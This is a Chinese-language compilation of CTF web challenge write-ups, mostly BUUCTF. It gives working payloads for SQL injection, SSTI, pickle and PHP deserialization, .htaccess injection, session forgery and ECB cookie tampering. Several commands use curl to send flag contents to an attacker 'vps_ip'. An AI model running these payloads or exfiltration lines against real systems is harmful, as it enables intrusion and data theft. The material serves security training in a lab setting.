由题目名可知为二次注入
username =1' union select database() # username =1' union select group_concat(table_name) from information_schema.tables where table_schema='ctftraining' # username =1' union select group_concat(column_name) from information_schema.columns where table_name='flag'# username =1' union select flag from flag # |
SSTI模板注入
{{()["\x5F\x5Fclass\x5F\x5F"]["\x5F\x5Fbases\x5F\x5F"][0]["\x5F\x5Fsubclasses\x5F\x5F"]()[91]["get\x5Fdata"](0, "/proc/self/fd/3")}}
$files = scandir('./'); foreach($files as $file) { if(is_file($file)){ if ($file !== "index.php") { unlink($file); } } } if(!isset($_GET['content']) || !isset($_GET['filename'])) { highlight_file(__FILE__); die(); } $content = $_GET['content']; if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) { echo "Hacker"; die(); } $filename = $_GET['filename']; if(preg_match("/[^a-z\.]/", $filename) == 1) { echo "Hacker"; die(); } $files = scandir('./'); foreach($files as $file) { if(is_file($file)){ if ($file !== "index.php") { unlink($file); } } } file_put_contents($filename, $content . "\nHello, world"); ?> |
程序会删除当前目录下除了index.php以外的所有文件,直接写入index.php的话无权限,考虑写入配置文件自动加载
对过滤的关键字中间添加换行\n绕过stristr函数
正则可通过正则回溯绕过,pcre.backtrack_limit参数来控制
PHP5.3.7 版本之前默认值为 10万 ,PHP5.3.7 版本之后默认值为 100万。该值可以通过php.ini设置
或者使用伪协议的编码绕过
?filename=php://filter/write=convert.base64-decode/resource=example.php&content=PD9waHAgcGhwaW5mbygpOyA/Pg==
?content=php_value%20auto_prepend_fil\%0ae%20.htaccess%0a%23\&filename=.htaccess
需要为admin用户即可获取源码
通过session进行验证,Session伪造 + Session反序列化。
由于php session以文件形式储存,即存在通过文件名伪造的可能性。
Add note写入的文件也保存在这个目录,并且$filename满足session文件名要求:以 sess_ 开头,且只含有 a-z,A-Z,0-9,-
创建一个用户名为:sess_
Ubuntu默认安装的PHP中session.serialize_handler默认设置为php,而这种引擎特点是即可使用|作为键值隔离符。利用|即可将序列化字符串拼接
然后Add note提交title为:|N;admin|b:1;,这样反序列化结果即可为:admin==bool(true)
最后export.php?type=.即可使得这个.与前面的.拼接成..被替换为空,$filename也就成为了符合规范的session文件名了
将导出的这个文件名sess_后面的部分填入PHPSESSID的值即可反序列化得到flag
Exp:
import re import requests URL = 'http://73eab016-4fc6-4ae8-af01-94a403a4cdaa.node4.buuoj.cn:81/' while True: # login as sess_ sess = requests.Session() sess.post(URL + 'login.php', data={ 'user': 'sess_' }) # make a crafted note sess.post(URL + 'add.php', data={ 'title': '|N;admin|b:1;', 'body': 'hello' }) # make a fake session r = sess.get(URL + 'export.php?type=.').headers['Content-Disposition'] print(r)
sessid = re.findall(r'sess_([0-9a-z-]+)', r)[0] print(sessid)
# get the flag r = requests.get(URL + '?page=flag', cookies={ 'PHPSESSID': sessid }).content.decode('utf-8') flag = re.findall(r'flag\{.+\}', r) if len(flag) > 0: print(flag[0]) break |
?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
/proc/self指向当前进程的/proc/pid/,/proc/self/root/是指向/的符号链接
?file=php://filter/convert.base64-encode/resource=etc/../../../../proc/self/cwd/flag.php
etc/../../../../ 到根目录,/proc/self/cwd即当前进程所在目录
还有就是可以通过上传PHP_SESSION_UPLOAD_PROGRESS
然后进行访问/tmp/sess_xxx,进行文件包含
原理就是,条件竞争。如果不清楚看一看这篇文章利用session.upload_progress进行文件包含和反序列化渗透,由于buu访问太快会429 500报错 这里不进行尝试
利用session.upload_progress进行文件包含和反序列化渗透:利用session.upload_progress进行文件包含和反序列化渗透 - FreeBuf网络安全行业门户
#poc.php
session_start(); ?> |
对题目限定可用的函数名字符串进行异或或者使用给出的函数运算得到需要的函数
进入题目给出源码:
error_reporting(0); //听说你很喜欢数学,不知道你是否爱它胜过爱flag if(!isset($_GET['c'])){ show_source(__FILE__); }else{ //例子 c=20-1 $content = $_GET['c']; if (strlen($content) >= 80) { //[NESTCTF 2019]Love Math2这里限制长度为60,用本题的异或Payload即可 die("太长了不会算"); } $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]']; foreach ($blacklist as $blackitem) { if (preg_match('/' . $blackitem . '/m', $content)) { die("请不要输入奇奇怪怪的字符"); } } //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh']; preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs); foreach ($used_funcs[0] as $func) { if (!in_array($func, $whitelist)) { die("请不要输入奇奇怪怪的函数"); } } //帮你算出答案 eval('echo '.$content.';'); } |
限制条件:
1.参数c字符数不能超过60个字符
2.不能含有空格,\t,\r,\n,\,单双引号,中括号
3.使用的单词/函数必须在白名单中
可以使用的一些符号 $ ( ) { } = ; ^ 等
利用数学函数构造变量拼接成动态函数执行命令,也可以考虑使用异或来拼接出函数名。
php中函数名默认为字符串
利用数学函数运算得到函数和命令
先说第一种思路,我们可以利用数学函数来运算得到函数名和命令,使用动态函数来执行命令
拼凑出_GET利用其他参数RCE
Bash
/index.php?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=
分析:
PHP
base_convert(37907361743,10,36) => "hex2bin"
dechex(1598506324) => "5f474554"
$pi=hex2bin("5f474554") => $pi="_GET" //hex2bin将一串16进制数转换为二进制字符串
($$pi){pi}(($$pi){abs}) => ($_GET){pi}($_GET){abs} //{}可以代替[]
拼凑出getallheaders利用HeaderRCE
getallheaders — 获取全部 HTTP 请求头信息
getallheaders用法可以参考:PHP: getallheaders - Manual
PHP
/index.php?c=$pi=base_convert,$pi(696468,10,36)($pi(8768397090111664438,10,30)(){1})
在HTTP请求的Header中直接添加命令即可
分析:
Bash
base_convert(696468,10,36) => "exec"
$pi(8768397090111664438,10,30) => "getallheaders"
exec(getallheaders(){1})
//操作xx和yy,中间用逗号隔开,echo都能输出
echo xx,yy
拼凑出exec、system等命令执行函数直接RCE
Bash
/index.php?c=($pi=base_convert)(22950,23,34)($pi(76478043844,9,34)(dechex(109270211257898)))
//分析:exec('hex2bin(dechex(109270211257898))') => exec('cat f*')
/index.php?c=base_convert(1751504350,10,36)(base_convert(15941,10,36).(dechex(16)^asinh^pi))
//分析:system('cat'.dechex(16)^asinh^pi) => system('cat *')
利用异或得到函数名和命令
放出Mustapha Mond师傅的Fuzz脚本:
PHP
$payload = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'bindec', 'ceil', 'cos', 'cosh', 'decbin' , 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh']; for($k=1;$k<=sizeof($payload);$k++){ for($i = 0;$i < 9; $i++){ for($j = 0;$j <=9;$j++){ $exp = $payload[$k] ^ $i.$j; echo($payload[$k]."^$i$j"."==>$exp"); echo " } } } |
利用该脚本我们可以利用异或构造出Payload:
Bash
/index.php?c=$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=
Flask的题,登录任意用户点击上传会提示权限不够,尝试登录admin用户,成功登录但仍无权限上传。
使用p神的脚本解码
尝试修改id,访问不存在的页面,请求头会带出加密key的base64值
进入上传界面
@app.route('/upload',methods=['GET','POST']) def upload(): if session['id'] != b'1': return render_template_string(temp) if request.method=='POST': m = hashlib.md5() name = session['password'] name = name+'qweqweqwe' name = name.encode(encoding='utf-8') m.update(name) md5_one= m.hexdigest() n = hashlib.md5() ip = request.remote_addr ip = ip.encode(encoding='utf-8') n.update(ip) md5_ip = n.hexdigest() f=request.files['file'] basepath=os.path.dirname(os.path.realpath(__file__)) path = basepath+'/upload/'+md5_ip+'/'+md5_one+'/'+session['username']+"/" path_base = basepath+'/upload/'+md5_ip+'/' filename = f.filename pathname = path+filename if "zip" != filename.split('.')[-1]: return 'zip only allowed' if not os.path.exists(path_base): try: os.makedirs(path_base) except Exception as e: return 'error' if not os.path.exists(path): try: os.makedirs(path) except Exception as e: return 'error' if not os.path.exists(pathname): try: f.save(pathname) except Exception as e: return 'error' try: cmd = "unzip -n -d "+path+" "+ pathname if cmd.find('|') != -1 or cmd.find(';') != -1: waf() return 'error' os.system(cmd) except Exception as e: return 'error' unzip_file = zipfile.ZipFile(pathname,'r') unzip_filename = unzip_file.namelist()[0] if session['is_login'] != True: return 'not login' try: if unzip_filename.find('/') != -1: shutil.rmtree(path_base) os.mkdir(path_base) return 'error' image = open(path+unzip_filename, "rb").read() resp = make_response(image) resp.headers['Content-Type'] = 'image/png' return resp except Exception as e: shutil.rmtree(path_base) os.mkdir(path_base) return 'error' return render_template('upload.html') @app.route('/showflag') def showflag(): if True == False: image = open(os.path.join('./flag/flag.jpg'), "rb").read() resp = make_response(image) resp.headers['Content-Type'] = 'image/png' return resp else: return "can't give you" |
上传zip 软链接读文件
ln -s /proc/self/cwd/flag/flag.jpg 111 zip -ry 111.zip 111 |
需要在burp中查看
下棋游戏连成一条线就行,post /move 传值move=c 开始游戏多发几次包直到有棋子可以成一条线,然后move传值那个棋子的id 即可把系统下的棋子变成自己的
X是玩家的棋子
error_reporting(0); class SYCLOVER { public $syc; public $lover; public function __wakeup(){ if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){ if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){ eval($this->syc); } else { die("Try Hard !!"); }
} } } if (isset($_GET['great'])){ unserialize($_GET['great']); } else { highlight_file(__FILE__); } ?> |
源码中要想执行eval 需要md5 sha1值都相当 在字符串不同的情况下靠碰撞是很难做到的 sha1还不知道能不能碰撞。
这里就需要利用php的原生类进行绕过
Error类中有__tostring方法,md5()和sha1()函数在运算时会把里面的当字符串处理,传入一个error类的对象就会触发__tostring()
由于题目用preg_match过滤了小括号无法调用函数,所以我们尝试直接 include "/flag" 将flag包含进来即可;由于过滤了引号,我们直接用url取反绕过即可
class SYCLOVER { public $syc ; public $lover; } $str = "?>=include~".urldecode("%D0%99%93%9E%98")."?>"; // /flag的取反 print($str); $a=new Error($str,1);$b=new Error($str,2); $c = new SYCLOVER(); $c->syc = $a; $c->lover = $b; echo(urlencode(serialize($c))); ?> |
一个购买页面,常规套路是变成admin身份,加钱然后购买flag。但这里的session要伪造的话难度很大。
Session是base64加密的,解码之后用pickle加载一下
hmac加密。这时候就要换条思路了,pickle模块存在反序列化漏洞。
Exp:
import pickle import base64 COMMAND = "curl http://vps_ip/?a=`cat flag.txt |base64`" class A(object): def __reduce__(self): import os return (os.system,(COMMAND,)) print(base64.b64encode(pickle.dumps(A()))) |
注意需要在Linux系统上生成payload,win上生成的无法执行命令。
最主要的原因就是第一行引入的模块,nt是windows平台下的一个python包,用来和windows系统交互,posix则是unix对应的包,题目靶机是unix的,用windows的payload自然失败
在服务器上起一个python自带服务器即可
python2 python -m SimpleHTTPServer 3001 python3 python -m http.server 3000 |
填上恶意session,刷新发送请求即可收到flag
尝试登录admin用户提示已有,随意注册登录一个用户,有一个文件上传功能,没啥利用思路。
尝试session伪造admin身份
扫目录得到robots.txt,发现密匙文件位置/static/secretkey.txt
换上伪造的session刷新页面
复制flag图像地址,curl 或者bp抓包就能看到flag
这种提交啥显示啥的基本就模板注入了。
过滤了{{ }},可用{% %}。但是这里的报错是PHP的报错,不过查看服务器头是常用的python服务器中间件,{% 10*10 %}也会报错。
有黑名单,这里使用得操作是利用blacklist里面最后一个进行绕过。
只要在其他语句加入他,那么就可以绕过其他语句了。
脚本fuzz blacklist顺序
import re import requests from time import sleep url = "http://f9fd3c30-c575-4a29-88a3-680ebc168df5.node3.buuoj.cn" def gen_words(): f = open("ssti_payload.txt", "r").read() words = re.findall("[a-zA-Z]+", f) f = open("ssti_word.txt", "w") res = sorted(list(set(words))) for i in res: f.write(i + "\n") return res def find_unused_word(words, payload): used_word = list(set(re.findall("[a-zA-Z]+", payload))) return [i for i in words if i not in used_word] def fuzz(): payload = "{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://xx.xxx.xx.xx:8080/?i=`ls /`') %}1{% endif %}" words = gen_words() unused_word = find_unused_word(words, payload) for i in unused_word: data = { "name": i } res = requests.post(url, data=data).text if "hello !" in res: data = { "name": "cla" + i + "ss" } res = requests.post(url, data=data).text if "class" in res: print(f"[*] find {i}") sleep(0.1) if __name__ == "__main__": fuzz() |
发现config可用,if、os、class、mro,config,popen都会被过滤成空,那采取双写绕过的思想
os使用oconfigs,if使用iconfigf,class使用claconfigss,mro使用mrconfigo,popen使用popconfigen
Payload:
{% iconfigf ''.__claconfigss__.__mrconfigo__[2].__subclaconfigsses__()[59].__init__.func_gloconfigbals.linecconfigache.oconfigs.popconfigen('curl http://vps_ip:7999/ -d `cat /flag_1s_Hera |base64`') %}1{% endiconfigf %} |
服务器nc监听,base64解码即可
步骤太多了,根据题目提示一步步满足条件即可,参考:BUUCTF [BSidesCF 2020] Hurdles_Senimo-CSDN博客
Payload:
curl -i -X PUT "http://node4.buuoj.cn:25851/hurdles/!?get=flag&%26%3D%26%3D%26=%2500%0a" -u "player:54ef36ec71201fdf9d1423fd26f97f6b" -A "1337 Browser v.9000" -H "X-Forwarded-For:13.37.13.37,127.0.0.1" -b "Fortune=6265" -H "Accept:text/plain" -H "Accept-Language:ru;" -H "origin:https://ctf.bsidessf.net" -H "Referer:https://ctf.bsidessf.net/challenges" |
直接可以执行命令,phpinfo查看被禁用的函数,发现还存在目录限制,且常用绕过目录限制的函数被ban,无法直接读取flag
同时注意到FFI support = enabled,可以利用ffi直接调用C语言编写的函数
蚁剑连接上后发现还有一个类文件,可进行反序列化利用
final class A implements Serializable { protected $data = [ 'ret' => null, 'func' => 'print_r', 'arg' => '1' ]; private function run () { $this->data['ret'] = $this->data['func']($this->data['arg']); } public function __serialize(): array { return $this->data; } public function __unserialize(array $data) { array_merge($this->data, $data); $this->run(); } public function serialize (): string { return serialize($this->data); } public function unserialize($payload) { $this->data = unserialize($payload); $this->run(); } public function __get ($key) { return $this->data[$key]; } public function __set ($key, $value) { throw new \Exception('No implemented'); } public function __construct () { throw new \Exception('No implemented'); } } |
这里的命令执行的结果不会回显,可以用VPS接收flag
最终payload:
http://bf7b5f38-404e-42b9-bb13-d6dfae80765e.node4.buuoj.cn:81/?a=unserialize(base64_decode('QzoxOiJBIjo4OTp7YTozOntzOjM6InJldCI7TjtzOjQ6ImZ1bmMiO3M6OToiRkZJOjpjZGVmIjtzOjM6ImFyZyI7czoyNjoiaW50IHN5c3RlbShjaGFyICpjb21tYW5kKTsiO319'))->__serialize()['ret']->system('curl http://vps_ip:7999/ -d `cat /flag |base64`'); |
题目为用perl编写的网页文件(.pl),查看文件上传点,其提示是Perl文件上传。
可能的后端代码
use strict; use warnings; use CGI; my $cgi= CGI->new; if ( $cgi->upload( 'file' ) ) { my $file= $cgi->param( 'file' ); while ( <$file> ) { print "$_"; } } |
其中my $file= $cgi->param( 'file' );:
param()函数返回一个列表的文件。但是只有第一个文件会被放入file变量中。
while ( <$file> )中,<>不能处理字符串,除非是ARGV,因此循环遍历并将每个值使用open()
调用。
对于读文件,如果传入一个ARGV的文件,那么Perl会将传入的参数作为文件名读出来。
所以,在上传的正常文件前加上一个文件上传项ARGV,然后在URL中传入文件路径参数,就可以读取任意文件
给出了flag地址
访问/upload 有个文件上传 但就是各摆设,点击直接404
访问/uploads/
左边preview的格式是/preview?f= 尝试文件包含漏洞,由于是使用OpenResty,尝试包含nginx的配置文件,默认是/etc/nginx/conf.d/default.conf,还存在过滤
双写绕过即可
/preview?f=....//....//....//....//....//....//....//f1ag_Is_h3re..//flag
购买flag的题 老套路session伪造
主页有个点击下载图片的功能,/download?image=../../proc/self/environ
得到python版本和key,用脚本修改钱的数量
填上伪造的session后,点击购买
命令行注入攻击,最终执行的命令如图
这题看似文件上传,其实主要是利用sql注入修改指定文件名再数据库中的后缀名为空
/www.tar.gz 下载源码审计
数据库的字段结构为
同时代码中由于白名单限制,所以无法上传恶意文件,由于版本限制也不能用%00截断,但有一个rename功能,只能修改文件名,但可以通过sql注入,影响其extension为空,再修改文件时加上.php后缀
先上传一个用来sql注入的文件
修改文件名
新的文件名为test2.txt.txt 但数据库中经过update语句
update `file` set `filename`='test2.txt', `oldname`='',extension=’’ where `fid`={$result['fid']}"
filename为test2.txt的extension为空
再上传一个和上面newname文件名相同的木马文件
修改文件名为test2.php 此时的$result["extension"]已经通过注入变为空
成功写马之后,读取flag即可
"use strict"; var randomstring = require("randomstring"); var express = require("express"); var { VM } = require("vm2"); var fs = require("fs"); var app = express(); var flag = require("./config.js").flag app.get("/", function(req, res) { res.header("Content-Type", "text/plain"); /* Orange is so kind so he put the flag here. But if you can guess correctly :P */ eval("var flag_" + randomstring.generate(64) + " = \"hitcon{" + flag + "}\";") if (req.query.data && req.query.data.length <= 12) { var vm = new VM({ timeout: 1000 }); console.log(req.query.data); res.send("eval ->" + vm.run(req.query.data)); /*Get传递一个data参数,将它放在vm2创建的沙盒中运行,并且对传入的参数长度进行了限制,不超过12,这里可以用数组绕过*/ } else { res.send(fs.readFileSync(__filename).toString()); } }); app.listen(3000, function() { console.log("listening on port 3000!"); }); |
在较早一点的node.js版本中 (8.0 之前),当 Buffer 的构造函数传入数字时, 会得到与数字长度一致的一个 Buffer,并且这个 Buffer 是未清零的。8.0 之后的版本可以通过另一个函数 Buffer.allocUnsafe(size) 来获得未清空的内存。
如果使用new Buffer(size)或其别名Buffer(size))创建,则对象不会填充零,而只要是调用过的变量,一定会存在内存中,所以需要使用Buffer()来读取内存,使用data=Buffer(1000)分配一个1000的单位为8位字节的buffer
相关链接:notes/Buffer-knows-everything.md at master · ChALkeR/notes · GitHub
Payload:
# encoding=utf-8 import requests import time url = 'http://c84cccca-d5cb-454d-8b73-be2b64356539.node4.buuoj.cn:81/?data=Buffer(500)' response = '' while 'flag' not in response: req = requests.get(url) response = req.text print(req.status_code) time.sleep(0.1) if 'flag{' in response: print(response) break |
一个计算器软件,由于会把输入的式子回显,考虑存在模板注入。
直接输入模板注入的{{ }} {% %}会服务器报错
输入1/0 这类计算器难以处理的式子,让程序报错
输入1/0#{{10*10}} 发现成功执行payload
1/0#{{config}}读取配置文件,同时看到还存在session,解码后发现之前的记录都通过session储存,尝试伪造session进行命令执行
python flask_session_cookie_manager3.py encode -s "cded826a1e89925035cc05f0907855f7" -t "{'history': [{'code': '__import__(\"os\").popen(\"ls\").read()'}]}"
将session填入后刷新
python flask_session_cookie_manager3.py encode -s "cded826a1e89925035cc05f0907855f7" -t "{'history': [{'code': '__import__(\"os\").popen(\"cat flag.txt\").read()'}]}"
读取flag,顺便再看看后端代码。
server.py:
import time import traceback import sys from flask import Flask, render_template, session, request, render_template_string from evalfilter import validate app = Flask(__name__) app.secret_key = "cded826a1e89925035cc05f0907855f7" def format_code(code): if "#" in code: code = code[: code.index("#")] return code @app.route("/", methods=["GET", "POST"]) def index(): if not session.get("history"): session["history"] = [] if request.method == "POST": result = validate(request.form["code"]) if not result[0]: return result[1] session["history"].append({"code": result[1]}) if len(session["history"]) > 5: session["history"] = session["history"][1:] session.modified = True try: eval(request.form["code"]) except: error = traceback.format_exc(limit=0)[35:] session["history"][-1]["error"] = render_template_string( f'Traceback (most recent call last):\n File "somewhere", line something, in something\n result = {request.form["code"]}\n{error}' ) history = [] for calculation in session["history"]: history.append({**calculation}) if not calculation.get("error"): history[-1]["result"] = eval(calculation["code"]) return render_template("index.html", history=list(reversed(history))) if __name__ == "__main__": app.run(host="0.0.0.0", port=8000) |
evalfilter.py:
import ast whitelist = [ ast.Module, ast.Expr, ast.Num, ast.UnaryOp, ast.UAdd, ast.USub, ast.Not, ast.Invert, ast.BinOp, ast.Add, ast.Sub, ast.Mult, ast.Div, ast.FloorDiv, ast.Mod, ast.Pow, ast.LShift, ast.RShift, ast.BitOr, ast.BitXor, ast.BitAnd, ast.MatMult, ast.BoolOp, ast.And, ast.Or,
ast.Compare, ast.Eq, ast.NotEq, ast.Lt, ast.LtE, ast.Gt, ast.GtE, ast.Is, ast.IsNot, ast.In, ast.NotIn, ] operators = {
ast.UAdd: "+", ast.USub: "-", ast.Not: "not ", ast.Invert: "~", ast.Add: " + ", ast.Sub: " - ", ast.Mult: " * ", ast.Div: " / ", ast.FloorDiv: " // ", ast.Mod: " * ", ast.Pow: " ** ", ast.LShift: " << ", ast.RShift: " >> ", ast.BitOr: " | ", ast.BitXor: " ^ ", ast.BitAnd: " & ", ast.MatMult: " @ ", ast.And: " and ", ast.Or: " or ", ast.Eq: " == ", ast.NotEq: " != ", ast.Lt: " < ", ast.LtE: " <= ", ast.Gt: " > ", ast.GtE: " >= ", ast.Is: " is ", ast.IsNot: " is not ", ast.In: " in ", ast.NotIn: " not in ", } def format_ast(node): if isinstance(node, ast.Expression): code = format_ast(node.body) if code[0] == "(" and code[-1] == ")": code = code[1:-1] return code if isinstance(node, ast.Num): return str(node.n) if isinstance(node, ast.UnaryOp): return operators[node.op.__class__] + format_ast(node.operand) if isinstance(node, ast.BinOp): return ( "(" + format_ast(node.left) + operators[node.op.__class__] + format_ast(node.right) + ")" ) if isinstance(node, ast.BoolOp): return ( "(" + operators[node.op.__class__].join( [format_ast(value) for value in node.values] ) + ")" ) if isinstance(node, ast.Compare): return ( "(" + format_ast(node.left) + "".join( [ operators[node.ops[i].__class__] + format_ast(node.comparators[i]) for i in range(len(node.ops)) ] ) + ")" ) def check_ast(code_ast): for _, nodes in ast.iter_fields(code_ast): if type(nodes) != list: nodes = [nodes] for node in nodes: if node.__class__ not in whitelist: return False, node.__class__.__name__ if not node.__class__ == ast.Num: result = check_ast(node) if not result[0]: return result return True, None def validate(code): if len(code) > 512: return False, "That's a bit too long m8" if "__" in code: return False, "I dont like that long floor m8" if "[" in code or "]" in code: return False, "I dont like that 3/4 of a rectangle m8" if '"' in code: return False, "I dont like those two small vertical lines m8" if "'" in code: return False, "I dont like that small vertical line m8" try: code_ast = ast.parse(code, mode="eval") except SyntaxError: return False, "Check your syntax m8" except ValueError: return False, "Handle your null bytes m8" result = check_ast(code_ast) if result[0]: return True, format_ast(code_ast) return False, f"You cant use ast.{result[1]} m8" |
无法注册登录admin,用户注册任意用户登录,
登陆后有两个session,解码查看
event_important存在模板注入,获取秘钥,然后重新生成签名cookie
event_name=1&event_address=2&event_important=__class__.__init__.__globals__[app].config
使用脚本进行伪造:
from flask import Flask from flask.sessions import SecureCookieSessionInterface app = Flask(__name__) app.secret_key = b'fb+wwn!n1yo+9c(9s6!_3o#nqm&&_ej$tez)$_ik36n8d7o6mr#y' session_serializer = SecureCookieSessionInterface().get_signing_serializer(app) @app.route('/') def index(): print(session_serializer.dumps("admin")) index() |
带着这个session点击Admin panel就得到flag了
SQL注入,查看源代码发现源码,下载审计
只用了addslashes处理了POST和GET参数,这里无法使用常见的绕过转义符号的办法。
注意到在templates下的PHP文件都有一句话:!isset($_SESSION) AND die("Direct access on this script is not allowed!");
$_SESSION数组在session_start()初始化后才产生。因此直接访问templates下的php文件时,$_SESSION还不存在。直接传入SESSION 利用PHP SESSION的一个特性:如果在php.ini中设置session.auto_start=On,那么PHP每次处理PHP文件的时候都会自动执行session_start(),但是session.auto_start默认为Off。与Session相关的另一个选项叫session.upload_progress.enabled,默认为On,在这个选项被打开的前提下我们在multipart POST的时候传入PHP_SESSION_UPLOAD_PROGRESS,PHP会执行session_start()(具体请参考这里)。
写脚本进行测试若出现Try again则可进行注入
import requests url = "http://992a85f8-142f-4e5a-a871-0ca4ede3577d.node4.buuoj.cn:81" files = {"file": "123456789"} a = requests.post(url=url+"/templates/login.php", files=files, data={"PHP_SESSION_UPLOAD_PROGRESS": "123456789"}, cookies={"PHPSESSID": "test1"}, params={'username': 'test', 'password': 'test'}, proxies={'http': url}) print(a.text) |
盲注Exp:
import requests import time url = "http://e483a533-b5a5-48a3-ad4f-f5648771a037.node4.buuoj.cn:81/templates/login.php" files = {"file": "123456789"} '''字段值''' flag='' for i in range(1,100): low = 32 high = 128 mid = (low+high)//2 while (low < high): time.sleep(0.06) #payload_database ={'username': 'test" or (ascii(substr((select database()),{0},1))>{1}) #'.format(i, mid),'password': 'test'} #payload_table ={'username': 'test" or (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=\'ptbctf\'),{0},1))>{1}) #'.format(i, mid),'password': 'test'} #payload_column ={'username': "test\" or (ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=\'flag_tbl\' ),{0},1))>{1}) #".format(i, mid),'password': 'test'} payload_flag = { 'username': "test\" or (ascii(substr((select group_concat(secret) from flag_tbl ),{0},1))>{1}) #".format(i,mid),'password': 'test'} r = requests.post(url=url,params=payload_flag,files=files, data={"PHP_SESSION_UPLOAD_PROGRESS": "123456789"}, cookies={"PHPSESSID": "test1"}) print(payload_flag) if '' in r.text: low = mid +1 else: high = mid mid = (low + high) // 2 if(mid==32 or mid == 132): break flag +=chr(mid) print(flag) print(flag) |
根据注释提示得到源码,在mp3文件的最下面
if(empty($_POST['Black-Cat-Sheriff']) || empty($_POST['One-ear'])){ die('谁!竟敢踩我一只耳的尾巴!'); } $clandestine = getenv("clandestine"); if(isset($_POST['White-cat-monitor'])) $clandestine = hash_hmac('sha256', $_POST['White-cat-monitor'], $clandestine); $hh = hash_hmac('sha256', $_POST['One-ear'], $clandestine); if($hh !== $_POST['Black-Cat-Sheriff']){ die('有意瞄准,无意击发,你的梦想就是你要瞄准的目标。相信自己,你就是那颗射中靶心的子弹。'); } echo exec("nc".$_POST['One-ear']); |
关键是要使得二次hash加密后的值与Black-Cat-Sheriff的值相等。
由于$clandestine不可控,要得知两次加密后的值基本不可能,但hash_hmac函数无法处理数组,若White-cat-monitor传入数组,则一次加密后的值为null,使得二次加密的值可控。
Payload:
White-cat-monitor[]=K1ose&Black-Cat-Sheriff=afd556602cf62addfe4132a81b2d62b9db1b6719f83e16cce13f51960f56791b&One-ear=;env |
那就是伪造身份登录了,还有个user cookie,随意修改user cookie 但不能改变长度,报错得到数据格式
猜测是ECB加密,因为更改前面的密文完全不影响后面的解密。这里无法获取iv,也就不能直接伪造
要想成为admin只需要将0改为1即可,而且1.00000000 == 1,由于ECB每一块互不影响,所以只要第二块加密后的值拼接到倒数第二块的位置即可。
以账号A1.00000000000000 xxxx登录,将得到的cookie进行处理(每次开环境iv不同,加密出来的不一样,自己去登录下获取cookie)
cookie = 'd064b8ff2bb64b9634713e9e688801b091ac09485edaeddc00d282dd07ab1ac22da0792cb5e30e9d4112f0764823d54a85c62e925f7907205606d6ecd8d53ca0ce7dc4196bea0c20d37e653db2e0511e' cookie1 = cookie[:-32]+cookie[32:64]+cookie[-32:] print(cookie1) |
拿这个cookie去登录即可